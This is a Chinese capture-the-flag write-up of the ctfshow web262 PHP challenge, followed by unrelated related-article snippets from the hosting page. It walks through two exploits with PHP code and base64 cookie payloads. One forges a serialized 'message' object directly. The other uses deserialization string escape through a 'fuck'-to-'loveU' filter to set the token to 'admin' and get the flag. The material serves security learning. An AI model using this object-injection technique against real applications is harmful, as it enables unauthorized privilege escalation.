4(web262 )

进入环境,看了一圈没有发现可以利用的点

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';
}highlight_file(__FILE__);

在注释的内容里发现了@message.php
访问它,找到源码

<?php
highlight_file(__FILE__);
include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}
}

发现只用在cookie中给msg传入message序列化后进行base64编码的token值为admin就能输出flag
exp:

<?phpclass message{public $token='admin';
}echo base64_encode(serialize(new message()));

传入cookie:msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
得到flag
还有一种方法是字符逃逸
对序列化后的字符串进行替换且替换造成了字符的数量不一致
那么本地测试一下

<?phpclass message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
function filter($msg){return str_replace('fuck', 'loveU',$msg);}
$u = new message("a","b","fuck");
$u1 = serialize($u);
$u2 = filter($u1);
echo $u2;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}

可以发现替换字符串后$to长度为4,却有5个字符,这时候进行反序列化,也只会截取4个字符,原本U后面的引号前移一位,就逃逸出来了U,而每次多转换一个fuck,就会逃逸出一个字符
这时候我们要让token为admin,就可以让它逃逸出来
$to处传入fuck";s:5:"token";s:5:"admin";}

<?phpclass message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
function filter($msg){return str_replace('fuck', 'loveU',$msg);}
$u = new message("a","b",'fuck";s:5:"token";s:5:"admin";}');
$u1 = serialize($u);
$u2 = filter($u1);
echo $u2;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:31:"loveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

";s:5:"token";s:5:"admin";}的长度为27,要让它逃逸出来,要转换27次才行,我们构造一下

<?phpclass message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
function filter($msg){return str_replace('fuck', 'loveU',$msg);}
$u = new message("a","b",'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$u1 = serialize($u);
$u2 = filter($u1);
echo $u2;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

转换后,后面的27位字符";s:5:"token";s:5:"admin";}逃逸出来了,第一个字符"会补上去闭合$to
最后得到

O:7:"message":4{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

在进行base64编码

<?phpclass message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
function filter($msg){return str_replace('fuck', 'loveU',$msg);}
$u = new message("a","b",'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$u1 = serialize($u);
$u2 = filter($u1);
echo base64_encode($u2);

得到

Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiYSI7czozOiJtc2ciO3M6MToiYiI7czoyOiJ0byI7czoxMzU6ImxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVSI7czo1OiJ0b2tlbiI7czo1OiJhZG1pbiI7fSI7czo1OiJ0b2tlbiI7czo0OiJ1c2VyIjt9

传入cookie得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/1620229.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

奔驰网络语言c class,重新定义豪华,全新一代奔驰C-Class正式官宣亮相

前段时间外媒公布的一组全新奔驰W206的实车照片在车圈引起了不小的话题。而近日&#xff0c;奔驰官方也正式发布了全新一代C级轿车以及旅行车的官方图片&#xff0c;全新的家族式设计风格搭配诸多创新科技配置&#xff0c;这台全新的奔驰C-Class能否继续延续上一代在国内的火爆…

联盛德W806+INA226 = 功率计

这里目录 一、 项目概述二、硬件设计1、硬件方案确定 三、软件设计1、程序设计2、程序流程 四、结束语 本文使用环境&#xff1a; 电脑&#xff1a;windows10 主控&#xff1a;W806&#xff08;240MHZ&#xff09; 外设采集&#xff1a;INA226&#xff08;IIC&#xff09; 外设…

奔驰C260L(W206)升级柏林之声音响系统,体验不一样的感觉

22款奔驰C级在音响系统方面也做出了改变&#xff0c;20款奔驰C级的小柏林音响是13喇叭590瓦功率&#xff0c;小柏林音响是多了哪两个喇叭呢&#xff1f;也就是眼镜盒上的两个&#xff0c;在之前的C级车型上&#xff0c;小柏林是没有这两个扬声器的。无论是小柏林还是大柏林&…

奔驰STAR3电子电气架构1

以下文章来源于佐思汽车研究 &#xff0c;作者周彦武 奔驰在2020年推出的新一代S级轿车&#xff0c;代号W223&#xff0c;E/E架构采用了奔驰最新的STAR3架构&#xff0c;2021年的新C级&#xff0c;代号W206也采用了STAR3架构&#xff0c;奔驰所有车型都将升级到STAR3架构&…

WinPlan经营大脑:精准预测,科学决策,助力企业赢得未来

近年,随着国内掀起数字化浪潮,“企业数字化转型”成为大势所趋下的必选项。但数据显示,大约79%的中小企业还处于数字化转型初期,在“企业经营管理”上存在着巨大的挑战和风险。 WinPlan经营大脑针对市场现存的企业经营管理难题,提供一站式解决方案,助力企业经营管理转型…

量化:pandas基础

文章目录 简介Series构造 DataFrame构造列的查改增删填充默认值 简介 pandas是 Python 的核心数据分析支持库&#xff0c;提供了快速、灵活、明确的数据结构。 pandas主要的两种数据结构为Series和DataFrame&#xff0c;分别用于处理一维和二维数据。 Series Series 是一种类…

{转,推荐大家仔细研究一下,呵呵}美女经理人全球博客征婚,条件超级变态

我偶然在一个博客网站上看到一个美女博客的征婚启示,条件挺搞笑,转贴给大家看看.由于条件非常多,文章比较长,但是希望大家耐心地看下去,会很有意思.文章如下&#xff1a; 小女芳龄二八&#xff0c;上有老人两代&#xff0c;佳人在水一方。容貌自慕压倒桃花&#xff0c;身材人夸…

几个nlp的小任务(机器翻译)

几个nlp的小任务(机器翻译) 安装依赖库数据集介绍与模型介绍加载数据集看一看数据集的样子评测测试数据预处理测试tokenizer处理目标特殊的token预处理函数对数据集的所有数据进行预处理微调预训练模型设置训练参数需要一个数据收集器,把处理好数据喂给模型设置评估方法参数…

六、Json 数据的交互处理

文章目录 一、JSON 数据的交互处理1、为什么要使用 JSON2、JSON 和 JavaScript 之间的关系3、前端操作 JSON3.1 JavaScript 对象与 JSON 字符串之间的相互转换 4、JAVA 操作 JSON4.1 Json 的解析工具&#xff08;Gson、FastJson、Jackson&#xff09;4.2 ResponseBody 注解、Re…

c语言练习题35:求两个数二进制中不同位的个数

求两个数二进制中不同位的个数 //编程实现&#xff1a;两个int&#xff08;32位&#xff09;整数m和n的二进制表达中&#xff0c;有多少个位(bit)不同&#xff1f; //输入例子 : //1999 2299 //输出例子 : 7 //int calc_diff_bit(int m, int n) 思路&#xff1a; 1. 先将m和n…

如何复刻稚晖君的ctrl-FOC-lite

一、simpleFOC版本工程使用clion重新打开为“Cmake”工程&#xff1a; 1、我删除了simpleFOC版本工程文件夹下的cmake-build-debug、.idea文件夹&#xff1b; 2、使用clion重新打开为“Cmake”工程&#xff0c;配置均按照稚晖君的教程进行的配置。 3、使用stm32cubeMX6.5版本重…

(转)游戏类型

百科名片 游戏类型主要分为&#xff1a;ACT、FTG、STG、FPS、SLG、RPG、AVG、SIM、SPG、RAC、PUZ、MUG、ETC等其他类型。 目录 1 ACT介绍 1.1 动作1.2 平台动作1.3 动作射击 2 FTG介绍 3 STG介绍 3.1 射击3.2 光枪射击 4 FPS介绍 5 SLG介绍 5.1 策略5.2 即时战略 6 RPG介绍 6.1…

C++ 工具

C参考手册 Learncppcplusplustutorialspoint/cplusplusAwesomeC 写在最后&#xff1a;若本文对您有帮助&#xff0c;请点个赞啦 ٩(๑•̀ω•́๑)۶

JUC的常见类

Callable interfacce 也是一种创建线程的方式 Runnable 能表示一个任务(run方法),返回void Callable 也能表示一个任务(call方法),返回一个具体的值,类型可以通过泛型参数来指定(object) 如果进行多线程操作,如果你只是关心多线程的执行过程,使用Runnable即可,如果是关心多线程…

利用adobe audition cc2014中置声道提取制作伴奏

“adobe audition cc2014制作伴奏”这四个字我在网上查了半个月了&#xff0c;但还是没查着解决方法&#xff0c;于是&#xff0c;我便自己琢磨做了做。 准备&#xff1a;adobe audition cc2014&#xff0c;歌曲(最好是无损格式&#xff09;。 1.打开 adobe audition cc2014 2.…

会声会影提取伴奏乐教程

2019独角兽企业重金招聘Python工程师标准>>> 时常会遇到这样的问题&#xff0c;看到一段精彩的视频&#xff0c;发现它的伴奏不错&#xff0c;想提取出来。遇到这种情况&#xff0c;会声会影有什么好办法吗&#xff0c;怎样提取伴奏乐呢&#xff1f; 一、首先打开视…

JAVA中如何知道某项目使用什么数据库类型

文章目录 1. 前言2. 先说结论3. 代码案例 1. 前言 最近在写第三方工具的时候&#xff0c;需要判断使用方项目具体使用了什么数据库类型&#xff0c;从而进行不一样的实现逻辑。当然可以让用户在YML中配置说明项目用什么数据库&#xff0c;但用户不一定填写正确。因此需要想其他…

appium+python自动化测试

获取APP的包名 1、aapt即Android Asset Packaging Tool&#xff0c;在SDK的build-tools目录下。该工具可以查看apk包名和launcherActivity 2、在android-sdk里面双击SDK-manager,下载buidl-tools 3、勾选build-tools&#xff0c;随便选一个版本&#xff0c;我这里选的是24的版…

工控流量分析题+wireshark学习

写在前面 暑假报名了工控比赛 所以要找些工控的题目来刷刷 正好比赛方提供的靶场有很多类似的题目 开始痛苦的学习过程。。。 Wireshark Capture filter <Protocol name> <Direction><Host(s)><Value><Logical operations><Expression>…

bootstrap富文本编辑器的使用

bootstrap-wysiwyg是一款轻量级的富文本编辑插件&#xff0c;大致长这样 在此记录一下我使用它踩过的坑和经验。 插件的引入 插件其实分为两部分&#xff1a;顶部的一系列编辑按钮和下方的div编辑框 前台代码如下&#xff1a; <div style"height: 50px;">&…